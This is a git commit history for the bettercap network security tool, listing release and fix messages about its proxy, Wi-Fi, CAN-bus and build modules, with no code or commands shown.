Compare commits

...

1360 commits

Author SHA1 Message Date
evilsocket
4ec2753fad releasing version 2.41.4
Some checks failed
Build and Push Docker Images / docker (push) Has been cancelled
Linux tests / build (1.24.x, ubuntu-latest) (push) Has been cancelled
macOS tests / build (1.24.x, macos-latest) (push) Has been cancelled
Windows tests / build (1.24.x, windows-latest) (push) Has been cancelled
2025-08-18 19:15:44 +02:00
evilsocket
42da612113 hotfix: hotfix 2 for tcp.proxy 2025-08-18 19:14:05 +02:00
evilsocket
fc65cde728 releasing version 2.41.3 2025-08-18 17:08:42 +02:00
evilsocket
cc475ddfba hotfix: fixed tcp_proxy onData bug 2025-08-18 17:08:14 +02:00
evilsocket
cfc6d55462 misc: removed bogus test 2025-08-18 15:25:26 +02:00
evilsocket
ccf4fa09e2 releasing version 2.41.2 2025-08-18 15:10:45 +02:00
evilsocket
1e235181aa fix: fixed tcp.proxy onData return value bug (fixes #788) 2025-08-18 15:01:34 +02:00
Simone Margaritelli
453c417e92
Merge pull request #1218 from kkrypt0nn/master
Some checks failed
Build and Push Docker Images / docker (push) Has been cancelled
Linux tests / build (1.24.x, ubuntu-latest) (push) Has been cancelled
macOS tests / build (1.24.x, macos-latest) (push) Has been cancelled
Windows tests / build (1.24.x, windows-latest) (push) Has been cancelled
feat: Add default username and password for API
2025-08-09 13:48:07 +02:00
Krypton
d1925cd926
fix: Consistency between HTTP(S) servers 2025-08-08 18:46:06 +02:00
Krypton
d60d4612f2
feat: Add default username and password for API 2025-08-08 18:34:31 +02:00
Simone Margaritelli
8bd6052851
Merge pull request #1217 from bettercap/dependabot/github_actions/actions/download-artifact-5
Some checks are pending
Build and Push Docker Images / docker (push) Waiting to run
Linux tests / build (1.24.x, ubuntu-latest) (push) Waiting to run
macOS tests / build (1.24.x, macos-latest) (push) Waiting to run
Windows tests / build (1.24.x, windows-latest) (push) Waiting to run
build(deps): bump actions/download-artifact from 4 to 5
2025-08-08 16:06:45 +02:00
Simone Margaritelli
a23ba5fcba
Merge pull request #1210 from kkrypt0nn/master
fix: `OnPacket` proxy plugin callback signature check
2025-08-08 16:06:26 +02:00
dependabot[bot]
be76c0a7da
build(deps): bump actions/download-artifact from 4 to 5
Bumps [actions/download-artifact](https://github.com/actions/download-artifact) from 4 to 5.
- [Release notes](https://github.com/actions/download-artifact/releases)
- [Commits](https://github.com/actions/download-artifact/compare/v4...v5)

---
updated-dependencies:
- dependency-name: actions/download-artifact
  dependency-version: '5'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-08-06 04:52:30 +00:00
Krypton
faee64a2c0 fix: Consistency and small typo 2025-07-16 21:01:15 +02:00
Krypton
0f68fcca8b fix: Small typo in ticker off description 2025-07-15 22:10:28 +02:00
Krypton
5a6a5fbbdf fix: Callback signature check 2025-07-15 21:19:00 +02:00
evilsocket
fa7e95c420 releasing version 2.41.1
Some checks failed
Build and Push Docker Images / docker (push) Has been cancelled
Linux tests / build (1.24.x, ubuntu-latest) (push) Has been cancelled
macOS tests / build (1.24.x, macos-latest) (push) Has been cancelled
Windows tests / build (1.24.x, windows-latest) (push) Has been cancelled
2025-07-15 11:52:58 +02:00
evilsocket
ad102afa2f misc: small fix or general refactoring i did not bother commenting 2025-07-15 11:20:54 +02:00
Simone Margaritelli
c154546fba
Merge pull request #1209 from kkrypt0nn/master
fix: Print event data, not whole struct on non-special events
2025-07-15 11:14:57 +02:00
buffermet
db1b386326
Merge pull request #1160 from buffermet/master
Some checks are pending
Build and Push Docker Images / docker (push) Waiting to run
Linux tests / build (1.24.x, ubuntu-latest) (push) Waiting to run
macOS tests / build (1.24.x, macos-latest) (push) Waiting to run
Windows tests / build (1.24.x, windows-latest) (push) Waiting to run
Begin implementing JavaScript Crypto API, add textEncode and textDecode bindings, improve parsing and error handling.
2025-07-15 00:44:49 +02:00
Krypton
183837e216 fix: Print event data, not whole struct 2025-07-14 21:46:35 +02:00
evilsocket
0216ea69f9 misc: small fix or general refactoring i did not bother commenting
Some checks failed
Build and Push Docker Images / docker (push) Has been cancelled
Linux tests / build (1.24.x, ubuntu-latest) (push) Has been cancelled
macOS tests / build (1.24.x, macos-latest) (push) Has been cancelled
Windows tests / build (1.24.x, windows-latest) (push) Has been cancelled
2025-07-12 16:04:06 +02:00
evilsocket
fecd81118d fix: various unit tests fixes for windows 2025-07-12 16:03:23 +02:00
evilsocket
61891e86a3 fix: routing tables unit tests fix for linux 2025-07-12 15:53:35 +02:00
evilsocket
0b64530cea new: increased unit tests coverage considerably 2025-07-12 15:48:20 +02:00
evilsocket
39d9254462 misc: added contributors to readme 2025-07-12 12:13:23 +02:00
evilsocket
ceb5ecd12f misc: small fix or general refactoring i did not bother commenting 2025-07-12 12:08:00 +02:00
evilsocket
47077d877c new: updated docker image to newer golang version 2025-07-12 12:06:53 +02:00
evilsocket
414d18a6da new: queue handle is not passed to the packet proxy plugins in order to be able to drop/accept packets from within the callback (fixes #1202) 2025-07-12 11:59:55 +02:00
Simone Margaritelli
da2292fbb7
Merge pull request #1205 from bettercap/dependabot/github_actions/actions/setup-go-5
build(deps): bump actions/setup-go from 2 to 5
2025-07-12 11:49:27 +02:00
Simone Margaritelli
b331be47d6
Merge pull request #1207 from bettercap/dependabot/github_actions/docker/build-push-action-6
build(deps): bump docker/build-push-action from 5 to 6
2025-07-12 11:49:12 +02:00
Simone Margaritelli
0865d5af52
Merge pull request #1208 from bettercap/dependabot/github_actions/actions/checkout-4
build(deps): bump actions/checkout from 2 to 4
2025-07-12 11:48:51 +02:00
evilsocket
1c78ffa7be fix: refactored deprecated ioutil calls to io equivalents 2025-07-12 11:47:43 +02:00
dependabot[bot]
58da4b6fce
build(deps): bump actions/setup-go from 2 to 5
Bumps [actions/setup-go](https://github.com/actions/setup-go) from 2 to 5.
- [Release notes](https://github.com/actions/setup-go/releases)
- [Commits](https://github.com/actions/setup-go/compare/v2...v5)

---
updated-dependencies:
- dependency-name: actions/setup-go
  dependency-version: '5'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-07-12 09:44:32 +00:00
dependabot[bot]
159f065058
build(deps): bump actions/checkout from 2 to 4
Bumps [actions/checkout](https://github.com/actions/checkout) from 2 to 4.
- [Release notes](https://github.com/actions/checkout/releases)
- [Changelog](https://github.com/actions/checkout/blob/main/CHANGELOG.md)
- [Commits](https://github.com/actions/checkout/compare/v2...v4)

---
updated-dependencies:
- dependency-name: actions/checkout
  dependency-version: '4'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-07-12 09:44:00 +00:00
Simone Margaritelli
3440e9999a
Merge pull request #1136 from BoboTiG/fix-ci-release-artifacts
fix(ci): Store release assets to the GitHub release
2025-07-12 11:43:06 +02:00
dependabot[bot]
d28692eef6
build(deps): bump docker/build-push-action from 5 to 6
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 5 to 6.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v5...v6)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-version: '6'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-07-12 09:42:59 +00:00
Simone Margaritelli
2317c28062
Merge pull request #1137 from BoboTiG/feat-dependabot
feat(ci): Add Dependabot to keep GitHub actions up-to-date
2025-07-12 11:42:17 +02:00
evilsocket
5069224e64 new: bumped all dependencies 2025-07-12 11:41:41 +02:00
evilsocket
0356082947 misc: version bump for golang.org/x/net 2025-07-12 11:40:26 +02:00
evilsocket
84acb9556e fix: removed unused module (ref #1201) 2025-07-12 11:39:07 +02:00
evilsocket
aa819862eb fix: do not show empty zeroconf fields
Some checks failed
Build and Push Docker Images / docker (push) Has been cancelled
Linux tests / build (1.22.x, ubuntu-latest) (push) Has been cancelled
macOS tests / build (1.22.x, macos-latest) (push) Has been cancelled
Windows tests / build (1.22.x, windows-latest) (push) Has been cancelled
2025-07-10 13:02:11 +02:00
evilsocket
fed98adffa fix: gracefully handle packets that would crash gopacket (fixes #1184) 2025-07-10 12:55:07 +02:00
Simone Margaritelli
948756208a
Merge pull request #1172 from spameier/fix-Makefile
fix: put GOFLAGS in correct order
2025-06-01 13:44:34 +02:00
Simone Margaritelli
4f51c57dd4
Merge pull request #1195 from bettercap/otto_http_getHeaders
Add req.GetHeaders and res.GetHeaders, reduce overhead.
2025-06-01 13:37:20 +02:00
buffermet
04ed02f420 Reduce overhead. 2025-04-09 12:39:33 +02:00
buffermet
a53d561ddd Add req.GetHeaders and res.GetHeaders, reduce overhead. 2025-04-09 11:26:56 +02:00
Simone Margaritelli
84846b11dc
Merge pull request #1186 from nmurilo/master
Code review of 6GHz stuff
2025-03-31 20:14:42 +02:00
evilsocket
9ebd958218 fix: do not reset wifi channels if set before wifi module start 2025-03-27 13:34:35 +01:00
evilsocket
3a360e4622 new: wifi module reports current channel in state 2025-03-27 13:18:21 +01:00
evilsocket
7a2ecb15f6 fix: fixed net.sniff stats output for local packets flag 2025-03-27 08:03:51 +01:00
evilsocket
69b3daa5b9 new: net.sniffer.interface parameter to sniff from a different interface 2025-03-27 07:47:30 +01:00
evilsocket
2662831fab fix: removing bash escape sequences from stdout before sending it as api response 2025-03-27 04:56:39 +01:00
buffermet
6ff2839e15
Try to restore issue template. 2025-03-20 19:02:17 +01:00
buffermet
1303b8e0d1
Try to restore issue template. 2025-03-20 18:56:49 +01:00
buffermet
2c157d2c5c
Try to restore issue template. 2025-03-20 18:55:26 +01:00
buffermet
3608e76fb6
Try to restore issue template. 2025-03-20 18:54:17 +01:00
buffermet
862d2c0825
Try to restore issue template. 2025-03-20 18:53:25 +01:00
evilsocket
cdf870dd4f misc: small fix or general refactoring i did not bother commenting 2025-03-15 00:18:00 +01:00
Nelson Murilo
93554a8448
Update wifi.go 2025-03-13 16:19:51 -04:00
Nelson Murilo
6d75d9e8e2
Added 6GHz stuff 2025-03-13 16:18:51 -04:00
Nelson Murilo
f9ab25aa8b
Update wifi.go 2025-03-13 15:33:09 -04:00
Nelson Murilo
dd05670e1f
Update net_linux.go
Code Review
2025-03-13 14:03:10 -04:00
Simone Margaritelli
4320b98e80
Merge pull request #1173 from danf42/fix-issue-1170
Update Dockerfile
2025-03-13 14:08:14 +01:00
Simone Margaritelli
fc02767e72
Merge pull request #1176 from bettercap/reduce_overhead
Reduce overhead for proxied HTTP/DNS packets
2025-03-13 14:07:43 +01:00
buffermet
0ea15563b1
Move issue template. 2025-03-03 00:38:02 +01:00
buffermet
e9fee2f2fa
Update config.yml 2025-03-03 00:35:50 +01:00
buffermet
99e7f78a22
Create issue template config 2025-03-03 00:34:46 +01:00
buffermet
84db5ed9bf
Merge pull request #1182 from bettercap/fix_issue_template
Fix issue template
2025-03-03 00:30:24 +01:00
buffermet
fd1f3bc1d2
Delete deprecated issue template. 2025-03-02 23:29:15 +01:00
buffermet
053ca5be55
Create issue_template.md 2025-03-02 23:28:38 +01:00
buffermet
2c6f048cec
Merge pull request #1156 from bettercap/otto_onExit
Implement onExit otto function calls when quitting the session or modules.
2025-03-01 23:12:51 +01:00
buffermet
890b83501c
Merge pull request #1180 from bettercap/dns_proxy_fix
Fix JavaScript backwards compatible number conversion and EDNS0 record binding
2025-02-22 23:40:37 +01:00
buffermet
f8884da78c
Remove unused var 2025-02-22 19:48:34 +01:00
buffermet
0b6fade8fd
Remove unused var 2025-02-22 19:46:58 +01:00
buffermet
df91176308
Fix JavaScript backwards compatible number conversion 2025-02-22 19:33:29 +01:00
buffermet
5da2cd8d29
Fix JavaScript backwards compatible number conversion 2025-02-22 19:26:44 +01:00
buffermet
4eb923f972
Fix float64/int64 to uint64 conversion from JS environment 2025-02-16 13:53:54 +01:00
buffermet
876449e105
Fix backwards compatible uint64 conversion 2025-02-15 14:37:16 +01:00
buffermet
f3001aa565
misc 2025-02-15 11:57:08 +01:00
buffermet
1c657fdf53
Update http_proxy_script.go 2025-02-13 21:32:52 +01:00
buffermet
25c6339275
Update http_proxy_js_response.go 2025-02-13 21:32:26 +01:00
buffermet
5e97fbb6eb
Update http_proxy_js_request.go 2025-02-13 21:30:46 +01:00
buffermet
12556bc6be
Update dns_proxy_script.go 2025-02-13 21:29:57 +01:00
buffermet
c8c1072cc0
Update dns_proxy_js_query.go 2025-02-13 21:28:58 +01:00
buffermet
086eed49d5
Merge pull request #1175 from bettercap/dns_proxy_fix
Fix number to uint conversion in DNS proxy.
2025-02-13 21:23:00 +01:00
buffermet
d03d778e46
Fix number to uint conversion in DNS proxy. 2025-02-13 00:20:28 +01:00
Dan
0ea1dec113
Update Dockerfile
Add iw to docker image
2025-02-11 08:39:00 -05:00
spameier
63ff51efdf fix: put GOFLAGS in correct order 2025-02-08 10:39:23 +01:00
evilsocket
8eedf6d90c releasing version 2.41.0 2025-01-31 12:27:10 +01:00
evilsocket
61a9069e50 new: api.rest will return the stdout data after executing a session command 2025-01-09 02:55:51 +01:00
☸️
1d7a49a952
misc 2024-12-06 17:09:27 +01:00
☸️
243d3e7016
Fix error messages. 2024-12-05 15:33:04 +01:00
☸️
30257fd547
misc 2024-12-05 13:43:48 +01:00
buffermet
9ed0fadd24 Begin implementing JavaScript Crypto API, add basic Uint8Array methods. 2024-12-05 13:11:48 +01:00
☸️
3e8063c2c7
misc 2024-12-05 12:52:27 +01:00
☸️
3cea30a277
Improve parsing and error handling in js bindings. 2024-12-05 12:49:54 +01:00
☸️
fdca49678e
Implement DNS proxy script onExit call. 2024-11-23 16:02:28 +01:00
☸️
91f5213526
Implement HTTP proxy script onEvent call. 2024-11-23 15:56:54 +01:00
☸️
159aed5080
Implement session script onExit call. 2024-11-23 15:49:05 +01:00
Simone Margaritelli
c4e45b368d
Merge pull request #1150 from Sniffleupagus/patch-1
Improve backwards compatibility with getHandshakeFileFor
2024-11-20 14:32:39 +01:00
evilsocket
169b0cb8c9 new: added removeEventListener builtin function (closes #1139) 2024-11-20 14:30:17 +01:00
☸️
a7e4572416
Merge pull request #1153 from bettercap/1152-fix
Add IPv6 nil check for interface.
2024-11-16 18:07:57 +01:00
☸️
01a144d69b
Add IPv6 nil check for interface. 2024-11-16 10:19:30 +01:00
Sniffleupagus
cb5f7679d8
Improve backwards compatibility with getHandshakeFileFor
The getHandshakeFile function was using "path.Dir(shakesFileName)", which drops the last element of the path.  This is not backwards compatible with prior versions that used the variable as the dir name. In particular this change causes pwnagotchi to store handshakes in /root instead of /root/handshakes.
This commit checks for an existing directory at shakesFileName and will use that as the path instead of taking the parent directory of the path.
2024-11-13 11:33:25 -08:00
Simone Margaritelli
00854261a4
Merge pull request #1145 from bettercap/otto-session-events
Implement addSessionEvent function in HTTP proxy script env
2024-11-13 11:17:26 +01:00
Simone Margaritelli
906162e5fa
Merge pull request #1143 from buffermet/master
dns.proxy module
2024-11-13 11:17:03 +01:00
☸️
08e248e38c
Implement addSessionEvent function in DNS proxy script env 2024-10-23 13:30:01 +02:00
☸️
6d242022fb
Implement addSessionEvent function in HTTP proxy script env 2024-10-22 23:11:42 +02:00
buffermet
6de6de7418 Allow wildcard in blacklist. 2024-10-12 22:05:29 +02:00
buffermet
ccb2774814 Shrink code. 2024-10-12 21:50:26 +02:00
buffermet
40f3906115 Add blacklist and whitelist logic. 2024-10-12 21:47:02 +02:00
buffermet
27d245625c Remove redundant nil assignment. 2024-10-12 17:38:49 +02:00
buffermet
32995aada3 Merge branch 'master' of https://github.com/buffermet/bettercap 2024-10-12 17:35:08 +02:00
buffermet
fe9481cb42 Print JS property conversion errors. 2024-10-12 17:34:14 +02:00
☸️
d0d1029a5a
Merge branch 'bettercap:master' into master 2024-10-12 13:49:13 +02:00
buffermet
c5017ed020 Support RFC3597 generic/unknown record type if Rdata field is present. 2024-10-12 13:45:27 +02:00
evilsocket
88d813543a merge 2024-10-10 14:34:20 +02:00
evilsocket
55edafb33c new: implemented named tickers (ref #779) 2024-10-10 14:33:52 +02:00
buffermet
c5d93825bd Catch RR nil value, improve debug logs readability. 2024-10-09 20:07:22 +02:00
buffermet
43f1013f0d Add TLS support for DNS proxy, implement backwards compatible DNS record conversion. 2024-10-09 13:47:21 +02:00
buffermet
a49d561dce init dns.proxy 2024-10-04 03:00:54 +02:00
evilsocket
e190737c91 new: added known services descriptions from IANA 2024-10-01 14:46:59 +02:00
evilsocket
30c4c320a6 misc: more compact zerogod.show 2024-10-01 14:20:14 +02:00
evilsocket
7e1cb69071 misc 2024-10-01 00:37:54 +02:00
evilsocket
02871b0ae6 new: _http and _https zeroconf acceptors 2024-09-30 19:06:10 +02:00
Simone Margaritelli
ef69151a7f chore: added credits to grandcat package 2024-09-27 20:40:48 +02:00
Simone Margaritelli
ae466b702a fix: directly embedding ui assets (fixes #1135) 2024-09-27 20:23:57 +02:00
Simone Margaritelli
ea8e96c285 chore: removed ui submodule (ref #1135) 2024-09-27 20:18:18 +02:00
Mickaël Schoentgen
520592d1a5 feat(ci): Add Dependabot to keep GitHub actions up-to-date 2024-09-27 19:50:20 +02:00
Mickaël Schoentgen
3b4cdc60cb fix(ci): Store release assets to the GitHub release
Those changes fix several issues.

First, artifacts were not stored between jobs, so when publishing release assets, nothing was found.
It explains why the latest GitHub release assets list contains only ZIP'ed sources.

Secondly, the workflow matrix was not working as expected: for instance, Linux AMD64 was run alone
while both AMD64 and ARM64 were expected.

Thirdly, even if the Linux matrix is fixed, there is no official GitHub runner for ARM64 yet.
so this is disabled by default for now (I wanted to propose changes about the workflow, not to
fix all issues at once).
2024-09-27 19:40:46 +02:00
Simone Margaritelli
ba29bea0cd misc: small fix or general refactoring i did not bother commenting 2024-09-22 19:25:24 +02:00
Simone Margaritelli
209725d623 misc: small fix or general refactoring i did not bother commenting 2024-09-22 17:40:23 +02:00
Simone Margaritelli
d2f13a3293 misc: small fix or general refactoring i did not bother commenting 2024-09-22 15:34:37 +02:00
Simone Margaritelli
fabf3bb8e9 fix: prioritize longer and more explicit host names 2024-09-22 15:21:11 +02:00
Simone Margaritelli
5969acd55d misc: small fix or general refactoring i did not bother commenting 2024-09-22 15:05:43 +02:00
Simone Margaritelli
bd959586c5 misc: small fix or general refactoring i did not bother commenting 2024-09-22 15:03:10 +02:00
Simone Margaritelli
a234c20650 fix: better ipv6 detection logic 2024-09-22 15:03:06 +02:00
Simone Margaritelli
8446d66d12 misc: small fix or general refactoring i did not bother commenting 2024-09-22 14:00:39 +02:00
Simone Margaritelli
5652d15426 misc: small fix or general refactoring i did not bother commenting 2024-09-22 13:23:30 +02:00
Simone Margaritelli
7b4fc3d31d misc: small fix or general refactoring i did not bother commenting 2024-09-21 17:52:50 +02:00
Simone Margaritelli
26c532316a misc: small fix or general refactoring i did not bother commenting 2024-09-21 17:38:52 +02:00
Simone Margaritelli
2966153adf misc: small fix or general refactoring i did not bother commenting 2024-09-21 11:56:14 +02:00
Simone Margaritelli
76e094f687 misc: small fix or general refactoring i did not bother commenting 2024-09-20 15:48:20 +02:00
Simone Margaritelli
6af2de6de9 misc: small fix or general refactoring i did not bother commenting 2024-09-20 15:30:13 +02:00
Simone Margaritelli
17ba1be16c misc: small fix or general refactoring i did not bother commenting 2024-09-20 12:06:32 +02:00
Simone Margaritelli
b0a197b377 external resolver 2024-09-20 10:29:45 +02:00
Simone Margaritelli
e656a6cbfa misc: small fix or general refactoring i did not bother commenting 2024-09-19 22:24:45 +02:00
Simone Margaritelli
51a5b4ad6e misc: small fix or general refactoring i did not bother commenting 2024-09-19 21:49:02 +02:00
Simone Margaritelli
91d360327a it works! 2024-09-19 16:33:44 +02:00
Simone Margaritelli
67cc9680ed progress 2024-09-18 23:21:30 +02:00
Simone Margaritelli
756dc3d71a
Update README.md 2024-09-17 11:32:37 +02:00
Simone Margaritelli
531da20048 releasing version 2.40.0 2024-09-14 23:36:05 +02:00
Simone Margaritelli
acda32e304 releasing version 2.4.0 2024-09-13 13:22:41 +02:00
Simone Margaritelli
75478a21f6 misc: small fix or general refactoring i did not bother commenting 2024-09-13 12:43:27 +02:00
Simone Margaritelli
5bc9dd9259 fix: added better debug logging for core.Exec (fixes #1125) 2024-09-13 12:27:22 +02:00
Simone Margaritelli
97b4dcb46e new: added support for 29bit obd2 identifiers 2024-09-01 13:30:01 +02:00
Simone Margaritelli
c3999d6bb5 new: implemented can.obd2 builtin parser 2024-08-31 14:01:40 +02:00
evilsocket
cf6fba6151 chore: updated ui version 2024-08-29 11:16:12 +02:00
Simone Margaritelli
3775295a2c chore: updated ui submodule 2024-08-28 16:14:27 +02:00
Simone Margaritelli
b2035daf54 fix: fixed address reload on api.rest 2024-08-28 16:14:23 +02:00
Simone Margaritelli
00c5b2c9c6 chore: updated ui submodule 2024-08-28 16:00:26 +02:00
Simone Margaritelli
b1ac9cda7d chore: updated ui submodule 2024-08-28 12:11:17 +02:00
Simone Margaritelli
5786ffdaa9 chore: updated ui submodule 2024-08-28 11:40:38 +02:00
Simone Margaritelli
72afa07d28 new: can.fuzz now supports an optional size argument (thanks musafir) 2024-08-27 10:28:30 +02:00
Simone Margaritelli
1c56622cde fix: can.fuzz now expects an hexadecimal frame id (thanks musafir) 2024-08-27 09:25:40 +02:00
Simone Margaritelli
4c7599566c fix: stop can.dump reader when can.recon is stopped 2024-08-26 18:58:11 +02:00
Simone Margaritelli
c4c7b8c43d chore: updated ui submodule 2024-08-26 17:12:00 +02:00
Simone Margaritelli
bb847fcf8a new: can.dump reader will now sleep for the correct amount of time 2024-08-26 16:37:06 +02:00
Simone Margaritelli
7702207ee9 new: implemented can.dup and can.dump.inject to read a candump log file 2024-08-26 15:12:09 +02:00
Simone Margaritelli
840f819484 refact: refactored can dbc logic 2024-08-23 16:03:35 +02:00
Simone Margaritelli
31d93e7c39 new: added new wifi cipher suites and auth types 2024-08-23 10:53:17 +02:00
Simone Margaritelli
f0126c28fb new: added new wifi RSN parsing 2024-08-23 10:39:58 +02:00
Simone Margaritelli
26b2c300b8 fix: fixed a nil pointer dereference when wifi.show is executed before wifi.recon on 2024-08-23 10:27:08 +02:00
Simone Margaritelli
575022fac4 fix: fixed deprecation warning on macOS native code 2024-08-23 10:21:50 +02:00
Simone Margaritelli
a4c99df51e chore: updated ui 2024-08-22 11:01:13 +02:00
Simone Margaritelli
81e18d20b7 chore: updated ui 2024-08-22 10:42:56 +02:00
Simone Margaritelli
81adcc96e6 fix: fixed handshakes filename if wifi.aggregate is false 2024-08-22 10:28:42 +02:00
Simone Margaritelli
7d85483214 fix: expanding file path in file read api 2024-08-22 10:28:28 +02:00
Simone Margaritelli
ac2d333609 fix: initialize wifi module state correctly 2024-08-22 09:50:55 +02:00
Simone Margaritelli
9f61ec7f13 chore: fixed submodule url for github workflow 2024-08-21 17:42:54 +02:00
Simone Margaritelli
f3132cee34 chore: updated git workflows to init submodules 2024-08-21 17:36:52 +02:00
Simone Margaritelli
d8aeecb99f new: embedded ui 2024-08-21 17:33:47 +02:00
Simone Margaritelli
3ec7b01bed new: added CAN to session json object 2024-08-21 15:47:27 +02:00
Simone Margaritelli
0202028524 fix: do not allow wifi.recon if wifi.bruteforce is running 2024-08-19 15:27:53 +02:00
Simone Margaritelli
ef9a3ef85b misc: small fix or general refactoring i did not bother commenting 2024-08-18 15:45:35 +02:00
Simone Margaritelli
5cc7260ca9 misc: small fix or general refactoring i did not bother commenting 2024-08-18 15:42:38 +02:00
Simone Margaritelli
77ae56cc62 fix: added p2p_disabled=1 for wifi.bruteforce on linux (ref #1075) 2024-08-18 15:39:14 +02:00
Simone Margaritelli
1b91eb348b new: implemented wifi.bruteforce for linux (closes #1075) 2024-08-18 15:34:32 +02:00
Simone Margaritelli
d8e11287c6 fix: bring interface down for mac.changer module 2024-08-18 15:34:02 +02:00
Simone Margaritelli
08da91ed5c new: implemented wifi.bruteforce for darwin (ref #1075) 2024-08-18 13:44:12 +02:00
Simone Margaritelli
b0d56e4f5e fix: do not attempt mac lookup if gateway is empty 2024-08-18 13:43:43 +02:00
Simone Margaritelli
23e074b686 fix: do not report a routing error if the interface is disconnected 2024-08-18 13:43:19 +02:00
Simone Margaritelli
2d03782fe1 fix: make sure that wifi channels are unique and sorted 2024-08-17 13:37:48 +02:00
Simone Margaritelli
8d8af63577 chore: added WPA3 to readme 2024-08-17 13:14:08 +02:00
Simone Margaritelli
6a6e942ea4 chore: added github to funding 2024-08-17 12:44:39 +02:00
Simone Margaritelli
0ceb938f10 fix: WPA3 is now correcly identified and reported (fixes #1098) 2024-08-17 12:40:40 +02:00
Simone Margaritelli
6282fe3451 new: ble, can, hid and wifi modules will now set a custom prompt (closes #1117) 2024-08-17 12:10:38 +02:00
Simone Margaritelli
d9a91d393e new: implemented can.filter 2024-08-17 11:38:58 +02:00
Simone Margaritelli
e45c9cc053 docs: added can-bus to readme 2024-08-16 17:34:54 +02:00
Simone Margaritelli
cc66b6459f chore: removed unused files 2024-08-16 17:06:27 +02:00
Simone Margaritelli
c5d20220a1 fix: fixed github action macOS architecture and Windows build script 2024-08-16 16:59:24 +02:00
Simone Margaritelli
d733381322 misc: small fix or general refactoring i did not bother commenting 2024-08-16 16:54:00 +02:00
Simone Margaritelli
e1e8a0b78d fix: fixed windows build via msys2/setup-msys2@v2 2024-08-16 16:53:11 +02:00
Simone Margaritelli
9266ee942f misc: small fix or general refactoring i did not bother commenting 2024-08-16 16:48:46 +02:00
Simone Margaritelli
13cab7b637 fix: fixed binaries building action 2024-08-16 16:36:21 +02:00
Simone Margaritelli
f6192653ef misc: small fix or general refactoring i did not bother commenting 2024-08-16 16:27:10 +02:00
Simone Margaritelli
72b14502c3 fix: setting PKG_CONFIG_PATH on windows builds 2024-08-16 16:16:50 +02:00
Simone Margaritelli
235017c294 chore: removed armhf build 2024-08-16 16:00:11 +02:00
Simone Margaritelli
86e87ab656 fix: attempt to fix tests on windows 2024-08-16 15:59:54 +02:00
Simone Margaritelli
cdefa3c9d3 fix: attempt to fix tests on windows 2024-08-16 15:53:42 +02:00
Simone Margaritelli
ee944d9640 fix: attempt to fix tests on windows 2024-08-16 15:47:00 +02:00
Simone Margaritelli
fcf285aabb chore: more veborse errors in environment tests 2024-08-16 15:33:48 +02:00
Simone Margaritelli
7f22425dcc fix: fixed compilation on windows 2024-08-16 15:30:19 +02:00
Simone Margaritelli
1df51fd13a fix: fixed windows test failure in environment_test.go 2024-08-16 15:20:18 +02:00
Simone Margaritelli
afdc68f512 chore: refactored github workflows into separate files 2024-08-16 15:17:42 +02:00
Simone Margaritelli
9ab2e13f31 chore: refactored github workflows into separate files 2024-08-16 15:12:17 +02:00
Simone Margaritelli
6f1920f478 new: can.fuzz command 2024-08-16 13:30:26 +02:00
Simone Margaritelli
69744e6b63 fix: disable ble module for BSD (fixes #1115) 2024-08-09 18:56:41 +02:00
Simone Margaritelli
7636ca2808 new: gps.set to manually set/override gps coordinates (closes #915) 2024-08-09 18:42:08 +02:00
Simone Margaritelli
9d5c38c693 fix: fixed verbose gousb logging (fixes #969) 2024-08-09 18:28:01 +02:00
Simone Margaritelli
2659a559c9 fix: using proper v2 package suffix (fixes #727) 2024-08-09 18:19:21 +02:00
evilsocket
76e136a18e fix: fixed device index use for BLE module (fixes #994) 2024-08-09 18:00:08 +02:00
evilsocket
93de427f9a new: history file location can now be set via BETTERCAP_HISTORY env var (closes #627) 2024-08-09 17:27:06 +02:00
evilsocket
9e7fda751a fix: added packet_proxy_freebsd (fixes #1067) 2024-08-09 17:17:53 +02:00
evilsocket
fd05df613e new: implemented can.inject 2024-08-09 16:19:35 +02:00
evilsocket
5fe3ef3d52 new: new can module for CAN-bus 2024-08-09 15:42:03 +02:00
Simone Margaritelli
9937e797ae releasing version 2.33.0 2024-08-09 11:25:32 +02:00
Simone Margaritelli
780032b116 misc: small fix or general refactoring i did not bother commenting 2024-08-09 11:23:31 +02:00
Simone Margaritelli
41fa4cd850 new: using simpler release file 2024-08-09 11:22:08 +02:00
Simone Margaritelli
107c8fdf99 fix: fixed docker build 2024-08-09 11:14:36 +02:00
Simone Margaritelli
856c0d5a7d misc: small fix or general refactoring i did not bother commenting 2024-08-08 18:24:25 +02:00
Simone Margaritelli
0343e002a9 new: docker workflow 2024-08-08 18:23:41 +02:00
Simone Margaritelli
d68da2108d fix: dockerfile fixes 2024-08-08 18:17:32 +02:00
Simone Margaritelli
7605f4afa3 fix: replaced nfqueue package (fixes #1070) 2024-08-08 18:06:23 +02:00
Simone Margaritelli
dc621f5934 misc: small fix or general refactoring i did not bother commenting 2024-08-08 17:05:53 +02:00
Simone Margaritelli
3e16c6dad0 new: replaced travis with github actions (closes #1114) 2024-08-08 17:04:08 +02:00
Simone Margaritelli
dd71378ce7 misc: small fix or general refactoring i did not bother commenting 2024-08-08 16:57:54 +02:00
Simone Margaritelli
5d2c173d5e misc: small fix or general refactoring i did not bother commenting 2024-08-08 16:54:29 +02:00
Simone Margaritelli
632d703087 new: added github workflows (ref #1114) 2024-08-08 16:52:14 +02:00
Simone Margaritelli
8b24723c18 fix: added cover.out to .gitignore 2024-08-08 16:44:10 +02:00
Simone Margaritelli
9abf7c809a fix: if interface name has not been provided, avoid default to a tun interface 2024-08-08 16:42:52 +02:00
Simone Margaritelli
7beb27cfca fix: updated gatt library to include fix for #1095 2024-08-08 14:06:59 +02:00
Simone Margaritelli
b12ba7947b fix: workaround for PCAP_SET_RFMON issue (fixes #819, https://github.com/the-tcpdump-group/libpcap/issues/1041, https://github.com/the-tcpdump-group/libpcap/issues/1033) 2024-08-08 13:40:45 +02:00
Simone Margaritelli
06623ddfb9
Merge pull request #1085 from SkyperTHC/master
sslstrip fix & don't restore iptables/ip_forward on exit when bettercap did not change them.
2024-08-08 13:02:15 +02:00
